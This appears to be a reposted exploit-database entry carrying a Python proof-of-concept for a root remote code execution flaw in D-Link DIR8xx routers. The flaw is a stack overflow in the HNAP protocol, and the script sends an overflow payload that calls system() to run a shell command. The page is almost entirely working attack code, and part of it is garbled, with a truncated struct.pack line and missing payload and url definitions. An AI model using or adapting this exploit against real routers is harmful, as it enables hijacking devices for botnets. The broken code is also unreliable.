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D-Link DIR8xx Routers - Root Remote Code Execution
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来源：https://embedi.com 作者：embedi 发布时间：2017-09-18
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# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/hnap.py
import requests as rq
import struct
IP = "192.168.0.1"
PORT = "80"
# Can differ in different version of routers and versions of firmware
# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS = 0x1B50C # DIR-890L_REVA_FIRMWARE_1.10.B07
def _str(address):
return struct.pack(" 0 else struct.pack(" /tmp/hacked;"
print(rq.post(url, data=b"" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"", headers=headers_text).text)
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